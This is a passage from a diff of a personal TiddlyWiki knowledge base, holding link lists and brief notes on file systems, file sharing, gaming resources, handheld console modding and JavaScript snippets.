Btrfs>>\n\nNote (2023-08-04): I tried Btrfs more than a year ago on [[Linux Lite]] (with ZSTD compression iirc) but after filling up the entire partition leaving 0 bytes available, even after deleting files, the partition was like corrupted, couldn't write to it anymore.\n\n* [[Compression (docs)|https://btrfs.readthedocs.io/en/latest/Compression.html]]\n** ZSTD is the best-balanced compressor; level 15 is max compression, and still good performance\n** Enable compression for newly-written files by mounting with `-o compress=${algo}:${level}`\n\n!! ''ext#'' (Linux)\n\n* Resizing: `resize2fs -f {Partition file} {Size}`\n"}, +{"title":"File sharing","created":"20231211232616716","creator":"Octt","modified":"20240110011350515","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"File sharing\">>\n\n* [[Filebin|https://filebin.net/]] --- //Filebin is a web application that facilitates convenient file sharing over the web.// --- \u003C\u003C[# Git\"https://github.com/espebra/filebin2/\">>\n* //''[[Pixeldrain|https://pixeldrain.com/]]'' is a file sharing website built for speed and ease of use.// --- \u003C\u003C[# \"Frontend Git\" \"https://github.com/Fornaxian/pixeldrain_web\">>\n* [[THE NULL POINTER (0x0.st)|https://0x0.st/]] --- //No-bullshit file hosting and URL shortening service// --- \u003C\u003C[# Git\"https://git.0x0.st/mia/0x0\">>\n\n!! Image sharing\n\n\u003C\u003C^WikipediaFrame \"Image sharing\">>\n\n* [[ImgBB|https://imgbb.com/]] --- //Free Image Hosting// for bulletin boards\n"}, +{"title":"File system","created":"20230813102403596","creator":"Octt","modified":"20240110005216239","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"File system\">>\n\n!!! ''Disk partitioning and related''\n\n\u003C\u003C^wikipediaframe \"Disk partitioning\">>\n\n* [[GParted stop after next operation?|https://superuser.com/questions/312149/gparted-stop-after-next-operation]] --- TLDR: libparted doesn't keep copies of disk data, so the operation can be stopped without data loss only with luck and/or stopping at the least bad time.\n* [[How to recover resize2fs failure|https://serverfault.com/questions/501593/how-to-recover-resize2fs-failure]] (not really possible)\n\n* [[How to Create a Virtual HardDisk Volume Using a File in Linux|https://www.tecmint.com/create-virtual-harddisk-volume-in-linux/]] --- using `mkfs` on a preallocated file\n\n!! ''Fat32''\n\n* [[formatting a drive to FAT32 with mkdosfs, need some info|https://askubuntu.com/questions/190030/formatting-a-drive-to-fat32-with-mkdosfs-need-some-info]] (with cluster size and everything) --- for example, FAT32 partition with 32KB clusters: `mkdosfs ${File} -F32 -s64` (512b*64=32kb)\n* [[Formatting SD Cards for Speed and Lifetime|http://3gfp.com/wp/2014/07/formatting-sd-cards-for-speed-and-lifetime/]] (with formatting script for SDs \u003C 32 GB)\n* [[fdisk created fat32 partition, which type 0b or 0c?|https://www.linuxquestions.org/questions/linux-general-1/fdisk-created-fat32-partition-which-type-0b-or-0c-643261/]] (and how to do the opposite)\n\n!! ''Btrfs''\n\n\u003C\u003C^wikipediaframe Btrfs>>\n\nNote (2023-08-04): I tried Btrfs more than a year ago on [[Linux Lite]] (with ZSTD compression iirc) but after filling up the entire partition leaving 0 bytes available, even after deleting files, the partition was like corrupted, couldn't write to it anymore.\n\n* [[Compression (docs)|https://btrfs.readthedocs.io/en/latest/Compression.html]]\n** ZSTD is the best-balanced compressor; level 15 is max compression, and still good performance\n** Enable compression for newly-written files by mounting with `-o compress=${algo}:${level}`\n\n!! ''ext#'' (Linux)\n\n* Resizing: `resize2fs -f {Partition file} {Size}`\n* [[mount(2) system call failed: Structure needs cleaning. - cannot mount partition|https://askubuntu.com/questions/910078/structure-needs-cleaning-error-cannot-mount-partition#967996]] --- #`e2fsck ${Partition}`\n"}, {"title":"Firmware","created":"20231217011441930","creator":"Octt","modified":"20231217011614153","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Firmware>>\n\n* [[Darthsternie's Firmware and Exploits Archive|https://darthsternie.net/]]\n"}, {"title":"Flashcart","created":"20231105125326253","creator":"Octt","modified":"20231105125902831","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Flashcart>>\n\n!!! Supercard SD\n\n* [[[SuperCard] New Compatibility List with GBA|https://www.gbarl.it/index.php?showtopic=17414]]\n* (WIP) [[Trying to make the Supercard suck less in 2022...|https://gbatemp.net/threads/trying-to-make-the-supercard-suck-less-in-2022.624099/]]\n"}, {"title":"Ford","created":"20230302115207149","creator":"Octt","modified":"20230304224346699","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Ford>>\n\n!!! ''News''\n\n; March 2023\n: [[Ford Applies to Patent Self-Repossessing Cars That Can Drive Themselves Away if you miss payments; Alternatively, the car could drive itself to a junkyard if it costs too much to repossess it.|https://www.thedrive.com/news/future-fords-could-repossess-themselves-and-drive-away-if-you-miss-payments]] \u003Cdd>\n\u003C\u003CYoutubeL oR0PpUYhtcs \"[Louis Rossmann] Ford's patent is an episode of Black Mirror waiting to happen\">>\n\u003C/dd>\n"}, @@ -1180,8 +1181,8 @@ {"title":"Game modding","created":"20230823100808184","creator":"Octt","modified":"20230823101557566","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Video game modding\">>\n\n* [[Valve Developer Union|https://valvedev.info]]"}, {"title":"Game save","created":"20230504095233944","creator":"Octt","modified":"20231001093833237","modifier":"Octt","tags":"Gaming","text":"\u003C\u003C^wikipediaframe Gamesave>>\n\n* [[3DS Save Bank|https://ds-save-bank.firebaseapp.com/]]\n"}, {"title":"Gamepad","created":"20230822234737434","creator":"Octt","icon":"🎮","modified":"20231103235715411","modifier":"Octt","page-cover":"https://source.unsplash.com/random?Gamepad","tags":"Gaming","text":"\u003C\u003C^wikipediaframe Gamepad>>\n\n* [[The “padhacking” thread|https://archive.supercombo.gg/t/the-padhacking-thread/16708/1]]\n\n* [[Converting a wireless 360 controller to wired|https://gaming.stackexchange.com/questions/155459/converting-a-wireless-360-controller-to-wired]] --- Basically impossible, while the integrated MCU carries data via USB, it has a fake firmware that can't carry HID events... because actually the pad's port (proprietary USB fork really with 3 extra pins) has data pins. Who knows.\n"}, -{"title":"Gaming","created":"20230116202756249","creator":"Octt","modified":"20240107225131526","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Video_game en>>\n\nSome games:\n\n* [[Dwarf Fortress|https://bay12games.com/dwarves]] --- very old game that recently got modernized, I like the original ASCII-graphics-based version (\"Classic\") which is also gratis\n* [[Rising Up|https://twitwi.itch.io/risingup]] --- //Climb the Corporate Ladder... with Your Fists!//\n* All other games I mentioned on this KB: \u003C\u003Ctag Game>>\n\nSome gaming resources:\n\n* [[Video Game History Foundation|https://gamehistory.org/]] --- //non-profit organization dedicated to preserving, celebrating, and teaching the history of video games//\n* [[The Cutting Room Floor|https://tcrf.net/]] is a site dedicated to unearthing and researching unused and cut content from video games\n* [[Video Game Music Preservation Foundation|https://www.vgmpf.com/Wiki/index.php]] --- //the Wikipedia of video game music!//\n* [[MobyGames Video Game Database|https://www.mobygames.com/]] --- //extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis//\n* [[The King of Grabs|https://thekingofgrabs.com/]] --- //Grabbing amazing video game screenshots one game at a time.//\n* [[VGMaps.com: The Video Game Atlas|https://www.vgmaps.com/]] --- //the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!//\n\n* \u003C\u003ChttpsL Classic-Games.net>> --- //Your retro game headquarters//\n* [[RetroBreak|https://retrobreak.co.uk/]] --- //Celebrating Video Game History//\n* [[The Tech Game - Community|https://www.thetechgame.com/]] --- gaming news along with useful related downloads\n\n* //''[[Hard Drive|https://hard-drive.net/]]'' is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK it’s satire don’t ban us.//\n\n* [[Sala Museo Games|https://gamingshitposting.github.io/SalaMuseoGames]] --- //Where art is your new play// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/SalaMuseoGames\">>\n* [[GameSnacks|https://gamesnacks.com/]] --- //Play Bite-Sized HTML5 Games for Mobile and Desktop// --- mostly trashy games but some are decent, also there are no ads apparently?\n* [[Free Game Planet|https://www.freegameplanet.com/]] --- //All The Best Free Video Games With New Additions Every Day//\n** [[Alpha Beta Gamer|https://www.alphabetagamer.com/]] --- //Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site//\n\n* [[Attract Mode (Concept)|https://www.giantbomb.com/attract-mode/3015-1641/]] --- //A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.//\n\n* \u003C\u003CYoutubeL ha_7cZxqhhE \"Nobody Knows I'm Gaming Right Now... Secretly Gaming in Public with [...] AR Glasses\">> --- a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion\n"}, -{"title":"Gaming console","created":"20231119004553704","creator":"Octt","modified":"20240108001006325","modifier":"Octt","tags":"Gaming","text":"\u003C\u003C^wikipediaframe \"Gaming console\">>\n\n* [[Console Protocols|https://sites.google.com/site/consoleprotocols/]] --- //site dedicated to the accurate documentation of protocols used to communicate with and inside of game consoles//\n* [[ConsoleMods.org|https://consolemods.org/wiki/Main_Page]] --- //collaborative community focused on collecting and preserving the ephemeral knowledge of console modifications, repairs, and restoration methods//\n\n* \u003C\u003CYoutubeL XrieCn9-9GU \"Can a $10 8-bit handheld game console be any good?\">> (Sup Famiclone)\n** \u003C\u003CYoutubeL ceI4CeIN1SQ \"Improving the $10 8-bit handheld game console\">> (better quality AV out)\n* \u003C\u003CYoutubeL N7q-tiiTN1Q \"SH108 - Hackeriamo un mini arcade\">>\n* \u003C\u003CRedditL r/SBCGaming/comments/t8k09f/is_there_any_conceivable_way_to_replace_the_roms/ \"Is there any conceivable way to replace the ROMs on 400-in-1 Handheld Console?\">>\n** [[teardown: e-mods rs-1 handheld|https://flawed.net.nz/2017/09/11/teardown-e-mods-rs-1-handheld-game/]]\n* [[Искусство кройки и шитья или возможность заменить игры в портативной игровой консоли SUP (The art of cutting and sewing or the ability to replace games in a portable SUP game console)|https://habr.com/ru/articles/718366/]]\n"}, +{"title":"Gaming","created":"20230116202756249","creator":"Octt","modified":"20240110010352237","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Video_game en>>\n\nSome games:\n\n* [[Dwarf Fortress|https://bay12games.com/dwarves]] --- very old game that recently got modernized, I like the original ASCII-graphics-based version (\"Classic\") which is also gratis\n* [[Rising Up|https://twitwi.itch.io/risingup]] --- //Climb the Corporate Ladder... with Your Fists!//\n* All other games I mentioned on this KB: \u003C\u003Ctag Game>>\n\nSome gaming resources:\n\n* [[Video Game History Foundation|https://gamehistory.org/]] --- //non-profit organization dedicated to preserving, celebrating, and teaching the history of video games//\n* [[The Cutting Room Floor|https://tcrf.net/]] is a site dedicated to unearthing and researching unused and cut content from video games\n* [[Video Game Music Preservation Foundation|https://www.vgmpf.com/Wiki/index.php]] --- //the Wikipedia of video game music!//\n* [[MobyGames Video Game Database|https://www.mobygames.com/]] --- //extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis//\n* [[The King of Grabs|https://thekingofgrabs.com/]] --- //Grabbing amazing video game screenshots one game at a time.//\n* [[VGMaps.com: The Video Game Atlas|https://www.vgmaps.com/]] --- //the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!//\n* [[Bootleg Games Wiki|https://bootleggames.fandom.com/]] --- //Wiki dedicated to unlicensed and bootleg video games//\n\n* \u003C\u003ChttpsL Classic-Games.net>> --- //Your retro game headquarters//\n* [[RetroBreak|https://retrobreak.co.uk/]] --- //Celebrating Video Game History//\n* [[The Tech Game - Community|https://www.thetechgame.com/]] --- gaming news along with useful related downloads\n\n* //''[[Hard Drive|https://hard-drive.net/]]'' is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK it’s satire don’t ban us.//\n\n* [[Sala Museo Games|https://gamingshitposting.github.io/SalaMuseoGames]] --- //Where art is your new play// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/SalaMuseoGames\">>\n* [[GameSnacks|https://gamesnacks.com/]] --- //Play Bite-Sized HTML5 Games for Mobile and Desktop// --- mostly trashy games but some are decent, also there are no ads apparently?\n* [[Free Game Planet|https://www.freegameplanet.com/]] --- //All The Best Free Video Games With New Additions Every Day//\n** [[Alpha Beta Gamer|https://www.alphabetagamer.com/]] --- //Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site//\n\n* [[Attract Mode (Concept)|https://www.giantbomb.com/attract-mode/3015-1641/]] --- //A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.//\n\n* \u003C\u003CYoutubeL ha_7cZxqhhE \"Nobody Knows I'm Gaming Right Now... Secretly Gaming in Public with [...] AR Glasses\">> --- a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion\n"}, +{"title":"Gaming console","created":"20231119004553704","creator":"Octt","modified":"20240110011644718","modifier":"Octt","tags":"Gaming","text":"\u003C\u003C^wikipediaframe \"Gaming console\">>\n\n* [[Console Protocols|https://sites.google.com/site/consoleprotocols/]] --- //site dedicated to the accurate documentation of protocols used to communicate with and inside of game consoles//\n* [[ConsoleMods.org|https://consolemods.org/wiki/Main_Page]] --- //collaborative community focused on collecting and preserving the ephemeral knowledge of console modifications, repairs, and restoration methods//\n\n* \u003C\u003CYoutubeL XrieCn9-9GU \"Can a $10 8-bit handheld game console be any good?\">> (Sup Famiclone)\n** \u003C\u003CYoutubeL ceI4CeIN1SQ \"Improving the $10 8-bit handheld game console\">> (better quality AV out)\n* \u003C\u003CYoutubeL N7q-tiiTN1Q \"SH108 - Hackeriamo un mini arcade\">>\n* [[Fun project -hack cheap handheld console- help with BGA NAND flash chip needed|https://www.eevblog.com/forum/beginners/fun-project-hack-cheap-handheld-console-help-with-bga-nand-flash-chip-needed/]]\n* [[Dissecting a hand-held NOAC console|https://hackaday.io/project/175322-dissecting-a-hand-held-noac-console]] --- //This is an attempt to understand how these little things work, and what we can do on it.//\n* \u003C\u003CRedditL r/SBCGaming/comments/t8k09f/is_there_any_conceivable_way_to_replace_the_roms/ \"Is there any conceivable way to replace the ROMs on 400-in-1 Handheld Console?\">>\n** [[teardown: e-mods rs-1 handheld|https://flawed.net.nz/2017/09/11/teardown-e-mods-rs-1-handheld-game/]]\n** [[Искусство кройки и шитья или возможность заменить игры в портативной игровой консоли SUP (The art of cutting and sewing or the ability to replace games in a portable SUP game console)|https://habr.com/ru/articles/718366/]]\n\n* [[V.R. Technology IC Design|https://www.vrt.com.tw/]] (official site with manuals, datasheets, and downloads)\n** [[VTxx|https://bootleggames.fandom.com/wiki/VTxx]]\n"}, {"title":"GBA","created":"20230216205342744","creator":"Octt","modified":"20230216205848009","modifier":"Octt","tags":"Nintendo Console Gaming","text":"\u003C\u003Cwikipediaframe GBA en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL CCXlwI939is \"The Game Boy Advance Is Insanely Powerful Compared to the SNES\">>\n"}, {"title":"GIF","created":"20240107013040620","creator":"Octt","modified":"20240107013413537","modifier":"Octt","tags":"Image","text":"\u003C\u003C^WikipediaFrame \"GIF\">>\n\n* [[Gifski|https://gif.ski/]] -- //Highest-quality GIF encoder. GIF encoder based on libimagequant (pngquant). Squeezes maximum possible quality from the awful GIF format.// --- \u003C\u003C[# Git\"https://github.com/ImageOptim/gifski/\">>\n"}, {"title":"GIMP","created":"20231210224054942","creator":"Octt","modified":"20231210231508446","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"GIMP\">>\n\n* [[G'MIC - GREYC's Magic for Image Computing|https://gmic.eu/]] --- //Full-Featured Open-Source Framework for Image Processing//\n"}, @@ -1225,7 +1226,7 @@ {"title":"Issues of the Modern Web","created":"20230301080208442","creator":"Octt","modified":"20231107220850311","modifier":"Octt","tags":"Web Modern","text":"* ~~Just in, 2023/July:~~ [[Web Environment Integrity API Proposal|https://github.com/RupertBenWiser/Web-Environment-Integrity]] --- //[[This is scary. It's (strong) SafetyNet for websites [...]|https://mastodon.uno/@lina@vt.social/110755246339815796]]//\n** 2023/November update: [[Google bins integrity API that looked more than a bit like horrible DRM for websites|https://www.theregister.com/2023/11/02/google_abandons_web_environment_integrity/]]... but not completely: it will still be integrated into [[Android]] System Webview, for some reason\n* Reign of [[Surveillance Capitalism]].\n** Full of advertisements, and trackers.\n* Technically problematic:\n** Even simple text+images websites are full of megabytes of useless components.\n*** This wisdom tends to verify as more truthful the more you test it against websites of more big players, or entities that are on the web just for money.\n** Web Browsers are in themselves Operating Systems.\n*** Only [[The 3 Web Players]] can keep up with constantly evolving standards requiring corporate-level organization for development, and the risk for a [[Google]] monopoly is real.\n*** Every month or so each browser engine has a new critical vulnerability.\n* Has more noise than information:\n** Search engines are each day less effective, as pages/articles or full sites written to game SEO pop-up, sinking real information in noise - with entire industries dedicated to profiting this way.\n*** Real people who just want to create real content suffer the most.\n"}, {"title":"Italiano","created":"20220923052724501","icon":"$:/languages/it-IT/icon","modified":"20220923052724501"}, {"title":"Java","created":"20230211172153874","creator":"Octt","modified":"20231222121254624","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"Java (programming language)\" en>>\n\n* [[Java NullPointerException|https://www.digitalocean.com/community/tutorials/java-lang-nullpointerexception]]\n\n* [[Oracle Java Downloads Archive|https://www.oracle.com/java/technologies/downloads/archive/]] --- requires shitty account to download basically anything, but has everything\n* [[Install openjdk-6-jdk on Ubuntu/Xubuntu 16.04 |https://gist.github.com/bmaupin/ff99b0cc84dd3ad8c4600374f2473184]]\n"}, -{"title":"JavaScript","created":"20221110145611678","creator":"Octt","modified":"20240107152759369","modifier":"Octt","tags":"Development $:/i18n:en Web","text":"''JavaScript'', or \"JS\", is an high-level programming language. It constitutes a core technology of the Web, sitting optionally alongside HTML and CSS. In recent years, it has gotten more and more popular even for desktop app and backend development.\n\n\u003C\u003C^wikipediaframe JavaScript>>\n\n* [[Ecma International TC39|https://tc39.es/]] - Committee maintaining JS specifications\n\n* [[aem1k|https://aem1k.com/]] --- //JavaScript Hacks and Creative Coding Created by Martin Kleppe aka @aemkei.// --- \u003C\u003C[# Git\"https://github.com/aemkei/aemkei.github.io\">>\n\n!!! ''Resources''\n\n* [[The Modern JavaScript Tutorial (javascript.info)|https://javascript.info/]] --- //How it's done now. From the basics to advanced topics with simple, but detailed explanations.//\n* \u003C\u003ChttpsL JavaScriptTutorial.net>> --- //helps you learn JavaScript programming from scratch quickly and effectively//\n\n* //''[[JSFuck|https://jsfuck.com/]]'' is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.// --- \u003C\u003C[# Git+Guide \"https://github.com/aemkei/jsfuck\">>\n\n* [[Which equals operator (== vs ===) should be used in JavaScript comparisons?|https://stackoverflow.com/questions/359494/which-equals-operator-vs-should-be-used-in-javascript-comparisons]] (\"Good and bad twins\") --- `==` is bad unless explicitly needed, since it does type-coercion.\n** [[In theory === is faster, no type conversion takes place. Practically there's no performance difference.|https://stackoverflow.com/questions/12332855/which-javascript-equality-operator-or-is-faster]]\n** [[JavaScript-Equality-Table|https://dorey.github.io/JavaScript-Equality-Table/unified/]] - \u003C\u003C[ \"[[Git|https://github.com/dorey/JavaScript-Equality-Table]]\">>\n\n* [[Environment detection: node.js or browser|https://stackoverflow.com/a/57774317]]\n* [[Superpacking JS Demos|https://web.archive.org/web/20120919185414/http://daeken.com/superpacking-js-demos]]\n* [[\"Illegal invocation\" errors in JavaScript|https://mtsknn.fi/blog/illegal-invocations-in-js/]] --- //The error is thrown when calling a function whose `this` keyword isn't referring to the object where it originally did (when the context of the function is lost)//\n* [[Does JavaScript have a method like \"range()\" to generate a range within the supplied bounds?|https://stackoverflow.com/questions/3895478/does-javascript-have-a-method-like-range-to-generate-a-range-within-the-supp]] --- `[...Array(5).keys()]`\n* [[Listen for triple clicks in JavaScript|https://stackoverflow.com/questions/6480060/how-do-i-listen-for-triple-clicks-in-javascript#6480113]]\n* [[Fastest method to escape HTML tags as HTML entities?|https://stackoverflow.com/questions/5499078/fastest-method-to-escape-html-tags-as-html-entities]] --- in the browser, `(html) => { var escape = document.createElement('textarea'); escape.textContent = html; return escape.innerHTML; }`\n* [[Get a random item from a JavaScript array|https://stackoverflow.com/questions/5915096/get-a-random-item-from-a-javascript-array#5915122]] : [[Getting a random value from a JavaScript array|https://stackoverflow.com/questions/4550505/getting-a-random-value-from-a-javascript-array]] --- `item = items[Math.floor(Math.random() * items.length)];`\n* [[Simplest code for array intersection in javascript|https://stackoverflow.com/questions/1885557/simplest-code-for-array-intersection-in-javascript#1885569]] --- `arrayNew = array1.filter(value => array2.includes(value));`\n* [[Why is 'for (... in ...)' with arrays considered bad practice in JavaScript?|https://stackoverflow.com/questions/2265167/why-is-forvar-item-in-list-with-arrays-considered-bad-practice-in-javascript]] --- use `for (... of ...)` to iterate for values, the `in` form should only be used to iterate over indices\n* [[Why is extending native objects a bad practice?|https://stackoverflow.com/questions/14034180/why-is-extending-native-objects-a-bad-practice]] --- it breaks everything for some objects.\n** see [[https://eslint.org/docs/latest/rules/no-extend-native]]\n* [[What does ~~ (\"double tilde\") do in Javascript?|https://stackoverflow.com/questions/4055633/what-does-double-tilde-do-in-javascript]] ; [[What is the \"double tilde\" (~~) operator in JavaScript? [duplicate]|https://stackoverflow.com/questions/5971645/what-is-the-double-tilde-operator-in-javascript]] --- double NOT logical operator, useful shorter and faster alternative to `Math.floor` for small numbers\n* [[How to convert uint8 Array to base64 Encoded String?|https://stackoverflow.com/questions/12710001/how-to-convert-uint8-array-to-base64-encoded-string/66046176#66046176]]\n* [[What is the JavaScript version of sleep()?|https://stackoverflow.com/questions/951021/what-is-the-javascript-version-of-sleep#39914235]] --- `await new Promise(r => setTimeout(r, milliseconds));`\n\n* [[How to get text from all descendents of an element (disregarding scripts)?|https://stackoverflow.com/questions/2532043/how-to-get-text-from-all-descendents-of-an-element-disregarding-scripts]]\n* [[Converting HTML string into DOM elements?|https://stackoverflow.com/questions/3103962/converting-html-string-into-dom-elements#3104237]] --- `doc = new DOMParser().parseFromString(htmlString, 'text/html')`\n* [[set doctype using javascript|https://stackoverflow.com/questions/21523487/set-doctype-using-javascript]]\n* [[JavaScript Regex Replace Tutorial|https://www.javascripttutorial.net/javascript-regex/replace/]]\n* [[Insert an element after another DOM element with JavaScript|https://attacomsian.com/blog/javascript-insert-element-after]] --- //`target.parentNode.insertBefore(elem, target.nextSibling)\n`//\n\n* [[Send POST data using XMLHttpRequest|https://stackoverflow.com/questions/9713058/send-post-data-using-xmlhttprequest]]\n* [[fetch API [and comparison with XMLHttpRequest]|https://davidwalsh.name/fetch]]\n* [[How do I upload a file with the JS fetch API?|https://stackoverflow.com/questions/36067767/how-do-i-upload-a-file-with-the-js-fetch-api#comment98412965_36082038]] --- pass the `file` object to the body, do NOT set Content-Type header\n* [[How to Use Fetch with async/await|https://dmitripavlutin.com/javascript-fetch-async-await/]]\n\n* [[Array.prototype.splice()|https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice]], [[JavaScript Array splice() (W3S)|https://www.w3schools.com/jsref/jsref_splice.asp]] --- //changes the contents of an array by removing or replacing existing elements and/or adding new elements in place//, useful alternative for a nonexistant remove function, with `.splice(index, amountToRemove)`\n* \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/Array/concat \"Array.prototype.concat()\">> --- //used to merge two or more arrays, does not change the existing arrays but instead returns a new one//\n* [[XMLHttpRequest|https://www.w3schools.com/xml/xml_http.asp]]\n** \u003C\u003CMDNLink Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests \"Synchronous and asynchronous requests\">>\n* [[HTML DOM Events|https://www.w3schools.com/jsref/dom_obj_event.asp]]\n\n* \u003C\u003ChttpsL tixy.land>> --- //(t,i,x,y) => \"creative code golfing\"// --- \u003C\u003C[# Git\"https://github.com/aemkei/tixy\">>\n\n!!! ''Tools''\n\n* [[jsPerf|https://jsperf.app/]] - //online JavaScript performance benchmark// - \u003C\u003C[ \"[[Git|https://github.com/rd13/jsperf.app]]\">>\n** Old source code: [[v2|https://github.com/jsperf]], [[v1|https://github.com/mathiasbynens/jsperf.com]]\n* [[MeasureThat.net|https://www.measurethat.net/]] - //measure performance of JavaScript code// - \u003C\u003C[ \"[[Git|https://github.com/thecoderok/MeasureThat.net]]\">>\n\n* [[UglifyJS|https://lisperator.net/uglifyjs/]] - //JavaScript parser / mangler / compressor / beautifier// - \u003C\u003C[ \"[[Git|https://github.com/mishoo/UglifyJS]]\">>\n** \u003C\u003Clinkdescgit \"UglifyJS 3: Online JavaScript minifier\" \"https://skalman.github.io/UglifyJS-online/\" \"JavaScript minifier in the browser\" \"https://github.com/Skalman/UglifyJS-online\">>\n* \u003C\u003Clinkdescgit de4js \"https://lelinhtinh.github.io/de4js\" \"JavaScript Deobfuscator and Unpacker\" \"https://github.com/lelinhtinh/de4js\">>\n\n* [[aaencode demo|https://utf-8.jp/public/aaencode.html]] --- //Encode any JavaScript program to Japanese style emoticons (^_^)//\n* [[jjencode demo|https://utf-8.jp/public/jjencode.html]] --- encode JS using limited symbols\n"}, +{"title":"JavaScript","created":"20221110145611678","creator":"Octt","modified":"20240110011936700","modifier":"Octt","tags":"Development $:/i18n:en Web","text":"''JavaScript'', or \"JS\", is an high-level programming language. It constitutes a core technology of the Web, sitting optionally alongside HTML and CSS. In recent years, it has gotten more and more popular even for desktop app and backend development.\n\n\u003C\u003C^wikipediaframe JavaScript>>\n\n* [[Ecma International TC39|https://tc39.es/]] - Committee maintaining JS specifications\n\n* [[aem1k|https://aem1k.com/]] --- //JavaScript Hacks and Creative Coding Created by Martin Kleppe aka @aemkei.// --- \u003C\u003C[# Git\"https://github.com/aemkei/aemkei.github.io\">>\n\n!!! ''Resources''\n\n* [[The Modern JavaScript Tutorial (javascript.info)|https://javascript.info/]] --- //How it's done now. From the basics to advanced topics with simple, but detailed explanations.//\n* \u003C\u003ChttpsL JavaScriptTutorial.net>> --- //helps you learn JavaScript programming from scratch quickly and effectively//\n\n* //''[[JSFuck|https://jsfuck.com/]]'' is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.// --- \u003C\u003C[# Git+Guide \"https://github.com/aemkei/jsfuck\">>\n\n* [[Which equals operator (== vs ===) should be used in JavaScript comparisons?|https://stackoverflow.com/questions/359494/which-equals-operator-vs-should-be-used-in-javascript-comparisons]] (\"Good and bad twins\") --- `==` is bad unless explicitly needed, since it does type-coercion.\n** [[In theory === is faster, no type conversion takes place. Practically there's no performance difference.|https://stackoverflow.com/questions/12332855/which-javascript-equality-operator-or-is-faster]]\n** [[JavaScript-Equality-Table|https://dorey.github.io/JavaScript-Equality-Table/unified/]] - \u003C\u003C[ \"[[Git|https://github.com/dorey/JavaScript-Equality-Table]]\">>\n\n* [[Environment detection: node.js or browser|https://stackoverflow.com/a/57774317]]\n* [[Superpacking JS Demos|https://web.archive.org/web/20120919185414/http://daeken.com/superpacking-js-demos]]\n* [[\"Illegal invocation\" errors in JavaScript|https://mtsknn.fi/blog/illegal-invocations-in-js/]] --- //The error is thrown when calling a function whose `this` keyword isn't referring to the object where it originally did (when the context of the function is lost)//\n* [[Does JavaScript have a method like \"range()\" to generate a range within the supplied bounds?|https://stackoverflow.com/questions/3895478/does-javascript-have-a-method-like-range-to-generate-a-range-within-the-supp]] --- `[...Array(5).keys()]`\n* [[Listen for triple clicks in JavaScript|https://stackoverflow.com/questions/6480060/how-do-i-listen-for-triple-clicks-in-javascript#6480113]]\n* [[Fastest method to escape HTML tags as HTML entities?|https://stackoverflow.com/questions/5499078/fastest-method-to-escape-html-tags-as-html-entities]] --- in the browser, `(html) => { var escape = document.createElement('textarea'); escape.textContent = html; return escape.innerHTML; }`\n* [[Get a random item from a JavaScript array|https://stackoverflow.com/questions/5915096/get-a-random-item-from-a-javascript-array#5915122]] : [[Getting a random value from a JavaScript array|https://stackoverflow.com/questions/4550505/getting-a-random-value-from-a-javascript-array]] --- `item = items[Math.floor(Math.random() * items.length)];`\n* [[Simplest code for array intersection in javascript|https://stackoverflow.com/questions/1885557/simplest-code-for-array-intersection-in-javascript#1885569]] --- `arrayNew = array1.filter(value => array2.includes(value));`\n* [[Why is 'for (... in ...)' with arrays considered bad practice in JavaScript?|https://stackoverflow.com/questions/2265167/why-is-forvar-item-in-list-with-arrays-considered-bad-practice-in-javascript]] --- use `for (... of ...)` to iterate for values, the `in` form should only be used to iterate over indices\n* [[Why is extending native objects a bad practice?|https://stackoverflow.com/questions/14034180/why-is-extending-native-objects-a-bad-practice]] --- it breaks everything for some objects.\n** see [[https://eslint.org/docs/latest/rules/no-extend-native]]\n* [[What does ~~ (\"double tilde\") do in Javascript?|https://stackoverflow.com/questions/4055633/what-does-double-tilde-do-in-javascript]] ; [[What is the \"double tilde\" (~~) operator in JavaScript? [duplicate]|https://stackoverflow.com/questions/5971645/what-is-the-double-tilde-operator-in-javascript]] --- double NOT logical operator, useful shorter and faster alternative to `Math.floor` for small numbers\n* [[How to convert uint8 Array to base64 Encoded String?|https://stackoverflow.com/questions/12710001/how-to-convert-uint8-array-to-base64-encoded-string/66046176#66046176]]\n* [[What is the JavaScript version of sleep()?|https://stackoverflow.com/questions/951021/what-is-the-javascript-version-of-sleep#39914235]] --- `await new Promise(r => setTimeout(r, milliseconds));`\n* [[Convert letter to number in JavaScript|https://stackoverflow.com/questions/27877197/convert-letter-to-number-in-javascript]] (or parse a String that contains a number and happens to contain letters as a Number) --- \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/parseInt parseInt()>>\n\n* [[How to get text from all descendents of an element (disregarding scripts)?|https://stackoverflow.com/questions/2532043/how-to-get-text-from-all-descendents-of-an-element-disregarding-scripts]]\n* [[Converting HTML string into DOM elements?|https://stackoverflow.com/questions/3103962/converting-html-string-into-dom-elements#3104237]] --- `doc = new DOMParser().parseFromString(htmlString, 'text/html')`\n* 